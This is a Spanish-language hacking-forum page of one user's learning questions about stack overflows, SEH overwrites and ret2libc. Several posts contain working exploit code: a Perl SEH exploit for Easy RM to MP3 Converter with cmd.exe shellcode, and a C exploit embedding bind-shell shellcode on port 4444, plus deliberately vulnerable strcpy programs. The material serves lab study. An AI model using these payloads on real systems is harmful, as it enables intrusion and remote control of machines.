elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


  Mostrar Temas
Páginas: [1] 2
1  Seguridad Informática / Bugs y Exploits / Inesperado EIP ret2libc en: 31 Julio 2014, 17:48
Buenos días.

Estaba siguiendo el tutorial http://www.infosecwriters.com/text_resources/pdf/return-to-libc.pdf para bypassear el HW DEP mediante el método ret2libc.

Éste es el código a explotar:

Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4.  
  5. int main(int argc, char *argv[])
  6. {
  7. char buff[5];
  8.  
  9. if (argc != 2)
  10. {
  11. puts("Needs and argument!");
  12. exit(1);
  13. }
  14.  
  15. printf("Exploiting via returning into libc function\n");
  16. strcpy(buff, argv[1]);
  17. printf("\nYou typed [%s]\n\n", buff);
  18.  
  19. return 0;
  20. }



El caso es que según pone en el tutorial, con 32 Aes sobreescribiríamos completamente el RET ADDRESS, pero en el tutorial, el autor hace uso de un sistema de 32 bits, y yo estoy usando la última versión de Kali, de 64 bits.
Con 30 Aes, me faltan 2 Aes para sobreescribir todo el RET ADDRESS, pero con o más de 31 Aes, siempre muestra  0x0000000000400655. ¿Qué pasa?


Citar
root@Kali:~/Desktop/Exploits# ulimit -c unlimited
root@Kali:~/Desktop/Exploits# gcc -ggdb retlib.c -o retlib
root@Kali:~/Desktop/Exploits# ./retlib `perl -e 'print "A"x30'`
Exploiting via returning into libc function

You typed [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]

Violación de segmento (`core' generado)
root@Kali:~/Desktop/Exploits# gdb -q -c ./core
[New LWP 19019]

warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7fff7adfe000
Core was generated by `./retlib AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x0000414141414141 in ?? ()
(gdb) q
root@Kali:~/Desktop/Exploits# ./retlib `perl -e 'print "A"x31'`
Exploiting via returning into libc function

You typed [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]

Violación de segmento (`core' generado)
root@Kali:~/Desktop/Exploits# gdb -q -c ./core
[New LWP 19023]

warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7fff5fffe000
Core was generated by `./retlib AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x0000000000400655 in ?? ()
(gdb) q

Muchas gracias :)
2  Seguridad Informática / Bugs y Exploits / ¿Dónde apunta el SEH handler con SAFESEH? en: 21 Julio 2014, 21:44
Buenos días.

Cuando se compila el propio ejecutable con SAFESEH, entonces el SEH handler de las excepciones que programamos no pueden apuntar al propio ejecutable (ha sido compilado con SAFESEH), pero si el SEH handler y el SEH chain son punteros, entonces, en una ejecución normal de cualquier programa, ¿dónde apunta el SEH handler? La cuestión es esa, que apunta al propio ejecutable y NO se puede.

Muchas gracias ;).
3  Seguridad Informática / Bugs y Exploits / SEH exploiting en: 14 Mayo 2014, 06:24
Buenos díaas.

He estado bastante liado con la uni, pero ahora que tengo tiempo :)...
Acabo de terminar el tutorial 3a, que trata sobre SEH, verme el vídeo y mirar el foro de Corelan, pero hay una cosa que no entiendo (lo he puesto en mayúsculas dentro del código).


Código
  1. =pod
  2. ####### EXPLICACIÓN #######
  3.  
  4. Se sobreescribe el stack con basura hasta antes del SEH chain,
  5. Sobreescribimos el SEH chain con un JMP SHORT 6 y 2 NOPS, con lo cual saltamos 6 bytes (saltamos al próximo SEH handler, no el suyo)
  6. Sobreescribimos el stack con la dirección de un POP POP RET (PERO EN TEORÍA AL HACER UN JMP SHORT 6 YA NO EJECUTARÍA ESTA DIRECCIÓN)
  7. Sobreescribimos a contiuación con la shellcode
  8. Ponemos basura porque queremos
  9. =cut
  10.  
  11. $uitxt = "UI.TXT";
  12.  
  13. my $junk = "A" x 584;
  14. my $nextSEHoverwrite = "\xeb\x06\x90\x90"; # jump 6 bytes:
  15.   #
  16.   # jmp short 6
  17.   # NOP
  18.   # NOP
  19. my $SEHoverwrite = pack('V', 0x1001e067); # pop pop ret from Player.dll
  20.  
  21. # Open a console (cmd.exe)
  22. # Size: 48 bytes
  23. my $shellcode = "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB" .
  24. "\xC7\x93\xBF\x77" . # Offset de system() en msvcrt.dll --> 0x77BF93C7
  25. "\xFF\xD3";
  26.  
  27. my $junk2 = "\x90" x 1000;
  28.  
  29. open(myfile,">$uitxt") ;
  30. print myfile $junk.$nextSEHoverwrite.$SEHoverwrite.$shellcode.$junk2;

Imagen del OllyDbg:



Desde ya muchas gracias.
4  Seguridad Informática / Bugs y Exploits / [WinDbg] Error cargando módulo !exploitable en: 14 Abril 2014, 05:25
Buenos días!! :)

Estaba intentando usar el módulo exploitable de WinDbg, así que voy a http://msecdbg.codeplex.com y me lo descargo, lo descomprimo y cojo MSEC.dll del directorio Release (también he probado a hacerlo con la DLL que hay en el directorio Debug, ya que el tutorial 3 de Corelan no lo especifica) y la pongo en C:\Archivos de programa\Debugging Tools for Windows (x86)\winext, así pues, abro SoriTong.exe con WinDbg e intento cargar el módulo exploitable:

Citar
0:000> !load winext/msec.dll
The call to LoadLibrary(winext/msec.dll) failed, Win32 error 0n127
    "No se encontró el proceso especificado."
Please check your debugger configuration and/or network access.

He probado a usar la ruta completa, pero me sale el mismo mensaje.
¿Qué ocurre?

Gracias de antemano.
5  Programación / Programación General / ¿Qué opinas de C#? en: 7 Abril 2014, 14:10
Con C# puedes programar aplicaciones nativas para Windows, MAC OS, iOS, iPad, WP y Android, y usar la máquina virtual Mono para GNU/Linux. También puedes usar Mono con las otras plataformas.

Lo cierto es que sea nativo o con Mono, irá más rápido, ya que la máquina virtual Mono —la cual tiene una libre implementación— está más optimizada que Dalvik (la de Android) y que la desktop de Oracle.

El inconveniente es que es carísimo comprar Xamarin (compilador que permite desarrollar para tantas plataformas diferentes compartiendo gran parte del código, poniéndole Mono al programa o compilándolo nativamente).

Con lo que respecta a Java, es lento, es incómodo de programar (tiene cuarentamil clases que tienes que instanciar), y no incluye tecnologías importantes como la sobrecarga de operadores o las estructuras, por no hablar de la sintaxis que tiene...

Y tú, ¿qué opinas?  :rolleyes:
6  Seguridad Informática / Bugs y Exploits / Diferencia entre "shellcode" y "payload" en: 7 Abril 2014, 03:06
Según he podido googlear, "payload" a veces se usa como sinónimo de "exploit", y shellcode es SÓLO el código que se ejecutará en la máquina remota (sin contar el código necesario para que se ejecute dicho código). ¿Es así?

Gracias.
7  Seguridad Informática / Bugs y Exploits / Extraño salto técnica POP POP RET en: 31 Marzo 2014, 23:31
Buenos días.

Hoy me he instalado una máquina virtual con Windows XP Professional x86 Spanish, y le he deshabilitado el DEP.

Pues bueno, estaba probando el exploit POPPOPRET_JMPESP.pl que tenía para "Easy RM to MP3 Converter" (sí, el programa del tutorial de Corelan), y  no me ha ido, así que he hecho 2 pruebas:

La primera, y satisfactoria, sustituyendo el JMP ESP que tendría que saltar al principio de la shellcode, por "CCCC" (\x43\x43\x43\x43), y me da error intentando ejecutar esa dirección. Proseguimos.
Código: http://pastebin.com/qm8BR1dT
Screenshot: http://www.subeimagenes.com/img/jmpesp-is-cccc-903645.jpg

Y la segunda, poniendo al JMP ESP una dirección válida y poniendo una shellcode que son muchos breakpoints. Aquí se produce un error en la dirección que ha intentado ejecutar, y que JMP ESP no apunta sólo a breakpoints.
Código: http://pastebin.com/9zy6R2YL
Screenshot: http://www.subeimagenes.com/img/shellcode-is-breakpoints-903658.jpg





La pila original está así:
 __________________________________________________
| Buffer que tendremos que llenar con Aes
|__________________________________________________|
| RET ADDRESSS que sustituiremos por un POP POP RET
|__________________________________________________|
| 4 bytes de basura que sustituiremos por "XXXX"
|__________________________________________________|
| Aquí apunta ESP antes de que se ejecute el POP POP RET, y
| que sustituiremos con 4 NOPs
|__________________________________________________|
| 4 bytes de basura que sustituiremos con 4 NOPs
|__________________________________________________|
| 4 bytes de basura a la que apuntará ESP después, y
| que sustituiremos por un JMP ESP, y recogerá de la pila
| la instrucción RET que hemos puesto nosotros
|__________________________________________________|
| Aquí empieza la shellcode y es donde apuntará
| el JMP ESP cuando se ejecute
|__________________________________________________|

Gracias por la ayuda :).
8  Seguridad Informática / Bugs y Exploits / Error buscando POP RET en: 13 Marzo 2014, 23:56
Buenas a todos :).


Verán, estaba leyendo el PDF de creación de exploits 2 de Corelan cuando me veo esto:

Citar
Primero que todo, necesitamos saber el Opcode para el POP POP RET.
Usaremos la función de ensamblado en Windbg para conseguir los Opcodes.

0:000> a
7c90120e pop eax
pop eax
7c90120f pop ebp
pop ebp
7c901210 ret
ret
7c901211
0:000> u 7c90120e
ntdll!DbgBreakPoint:
7c90120e 58 pop eax
7c90120f 5d pop ebp
7c901210 c3 ret
7c901211 ffcc dec esp
7c901213 c3 ret
7c901214 8bff mov edi,edi
7c901216 8b442404 mov eax,dword ptr [esp+4]
7c90121a cc int 3

Así que los Opcodes del POP POP RET son: 0×58, 0x5d, 0xc3.


Pues nada, lo intento y esto es lo que me sale:
Citar
0:010> a
7c90120e ; Sólo sale esto, así que escribo "pop eax"
pop eax
7c90120e pop eax
pop eax
*** WARNING: Unable to verify checksum for C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exe


¿Y eso? No consigo encontrar un pop pop sin esto...
He buscado por un sólo pop porque si con dos pop ya no lo encuentro, con uno menos...

He probado a usar en Immunity Debugger
!safeseh ; Busca DLLs compiladas sin safeseh
!search pop r32 ; Buscar POP a un registro de 32 bits
pero sólo me salen POPs de user32.dll


Gracias de antemano.
9  Seguridad Informática / Bugs y Exploits / Problema con un BoF en: 10 Marzo 2014, 00:49
Buenos días ;).

Estaba haciendo un exploit de PruebaDeStack y no consigo que se ejecute bien la shellcode, pero el registro ESP apunta a ella.

Después del EIP (el JMP ESP) he puesto un breakpoint para poder hacer la screenshot y algunos NOPs para que se aprecie bien, e inmediatamente después está la shellcode. El problema es que no se abre una shell (es decir, no se ejecuta bien la shellcode).

Espero que puedan echarme una mano.
Muchas gracias.





PruebaDeStack
Código:
#include <string.h>

void hacer_algo(char *Buffer)
{
  char MyVar[128];
  strcpy(MyVar, Buffer);
}

int main(int argc, char **argv[])
{
  hacer_algo(argv[1]);
}



Exploit
Código:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc,char **argv)
{
    char evilbuffer[]="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" // Basura hasta llegar al EIP
"\x7B\x46\x86\x7C" // EIP --> 0x7C86467B      jmp esp
"\xCC\x90\x90\x90\x90\x90\x90\x90" // Breakpoint + NOPs
"\xbe\x6d\xa5\x2b\x67\xd9\xcf\xd9\x74\x24\xf4\x5f\x31\xc9" // Aqui empieza la shellcode shell_bind_tcp (puerto 4444)
"\xb1\x56\x31\x77\x13\x83\xef\xfc\x03\x77\x62\x47\xde\x9b"
"\x94\x0e\x21\x64\x64\x71\xab\x81\x55\xa3\xcf\xc2\xc7\x73"
"\x9b\x87\xeb\xf8\xc9\x33\x78\x8c\xc5\x34\xc9\x3b\x30\x7a"
"\xca\x8d\xfc\xd0\x08\x8f\x80\x2a\x5c\x6f\xb8\xe4\x91\x6e"
"\xfd\x19\x59\x22\x56\x55\xcb\xd3\xd3\x2b\xd7\xd2\x33\x20"
"\x67\xad\x36\xf7\x13\x07\x38\x28\x8b\x1c\x72\xd0\xa0\x7b"
"\xa3\xe1\x65\x98\x9f\xa8\x02\x6b\x6b\x2b\xc2\xa5\x94\x1d"
"\x2a\x69\xab\x91\xa7\x73\xeb\x16\x57\x06\x07\x65\xea\x11"
"\xdc\x17\x30\x97\xc1\xb0\xb3\x0f\x22\x40\x10\xc9\xa1\x4e"
"\xdd\x9d\xee\x52\xe0\x72\x85\x6f\x69\x75\x4a\xe6\x29\x52"
"\x4e\xa2\xea\xfb\xd7\x0e\x5d\x03\x07\xf6\x02\xa1\x43\x15"
"\x57\xd3\x09\x72\x94\xee\xb1\x82\xb2\x79\xc1\xb0\x1d\xd2"
"\x4d\xf9\xd6\xfc\x8a\xfe\xcd\xb9\x05\x01\xed\xb9\x0c\xc6"
"\xb9\xe9\x26\xef\xc1\x61\xb7\x10\x14\x25\xe7\xbe\xc6\x86"
"\x57\x7f\xb6\x6e\xb2\x70\xe9\x8f\xbd\x5a\x9c\x97\x73\xbe"
"\xcd\x7f\x76\x40\xe0\x23\xff\xa6\x68\xcc\xa9\x71\x04\x2e"
"\x8e\x49\xb3\x51\xe4\xe5\x6c\xc6\xb0\xe3\xaa\xe9\x40\x26"
"\x99\x46\xe8\xa1\x69\x85\x2d\xd3\x6e\x80\x05\x9a\x57\x43"
"\xdf\xf2\x1a\xf5\xe0\xde\xcc\x96\x73\x85\x0c\xd0\x6f\x12"
"\x5b\xb5\x5e\x6b\x09\x2b\xf8\xc5\x2f\xb6\x9c\x2e\xeb\x6d"
"\x5d\xb0\xf2\xe0\xd9\x96\xe4\x3c\xe1\x92\x50\x91\xb4\x4c"
"\x0e\x57\x6f\x3f\xf8\x01\xdc\xe9\x6c\xd7\x2e\x2a\xea\xd8"
"\x7a\xdc\x12\x68\xd3\x99\x2d\x45\xb3\x2d\x56\xbb\x23\xd1"
"\x8d\x7f\x53\x98\x8f\xd6\xfc\x45\x5a\x6b\x61\x76\xb1\xa8"
"\x9c\xf5\x33\x51\x5b\xe5\x36\x54\x27\xa1\xab\x24\x38\x44"
"\xcb\x9b\x39\x4d";
    argv[0] = "Exploit.exe";
    argv[1] = evilbuffer; //Definimos el argumento2, o sea, el argumento de vuln1
    argv[2] = NULL; // Apunta a 0, porque no metemos mas argumentos

    execv("PruebaDeStack.exe", argv); //Ejecutamos vuln1.exe pasándole evilbuffer como argumento

      return 0;
}


Una screenshot nada más le doy a "Debug" al ejecutar el exploit:
http://www.subeimagenes.com/img/before-871596.png

Una screenshot después de darle a RUN (F9) a la imagen anterior:
http://www.subeimagenes.com/img/after-871598.png
10  Seguridad Informática / Bugs y Exploits / Sustitución directa del EIP en: 5 Marzo 2014, 19:31
Buenos días.

Quiero preguntar sobre sustituir el EIP directamente (en un BoF) sin usar un JMP REGISTRO, el porqué da error.

El código es el siguiente:
vuln1.c
Código
  1.    /* vuln1.c por Rojodos */
  2.  
  3.    #include <stdio.h>
  4.    #include <string.h>
  5.  
  6.    int main (int argc, char **argv)
  7.    {
  8.    char buffer[64]; //Declaramos un array con 64 bytes de espacio
  9.  
  10.    if (argc < 2)
  11.    {
  12.    printf ("Introduzca un argumento al programa\n");
  13.    return 0;
  14.    }
  15.  
  16.    strcpy (buffer, argv[1]); // Aqui es donde esta el fallo
  17.  
  18.    return 0;
  19.    }

Si yo ejecuto exploit1.c, EIP apuntará a TTTT, pero si yo ejecuto exploit2.c, EIP no apuntará a 0x7C86467B (EIP me está apuntando ahora mismo a 0022FF009), por el tema que la pila cambia y tal, pero aunque apuntara a algo que no existe, ese debería ser el EIP, sin necesidad de un JMP registro, al fin y al cabo, es lo mismo que pasar letras TTTTT, ¿no?

exploit1.c
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main (int argc,char **argv) {
  6.  
  7. char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"; // Para llenar el buffer, lo que haya antes del RET ADDRESS y sustituir el RET ADDRESS
  8.  
  9. argv[1] = "vuln1";
  10. argv[1] = evilbuffer;
  11. argv[2] = NULL;
  12.  
  13. execv ("vuln1.exe", argv);
  14.  
  15. return 0;
  16. }


exploit2.c
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main (int argc,char **argv) {
  6.  
  7. char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"; // Para llenar el buffer y lo que haya antes del RET ADDRESS
  8. char EIP[] = "\x7B\x46\x86\x7C"; // RET ADDRESS = 0x7C86467B
  9.  
  10. strcat(evilbuffer, EIP);
  11.  
  12. argv[1] = "vuln1";
  13. argv[1] = evilbuffer;
  14. argv[2] = NULL;
  15.  
  16. execv ("vuln1.exe", argv);
  17.  
  18. return 0;
  19. }
Páginas: [1] 2
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines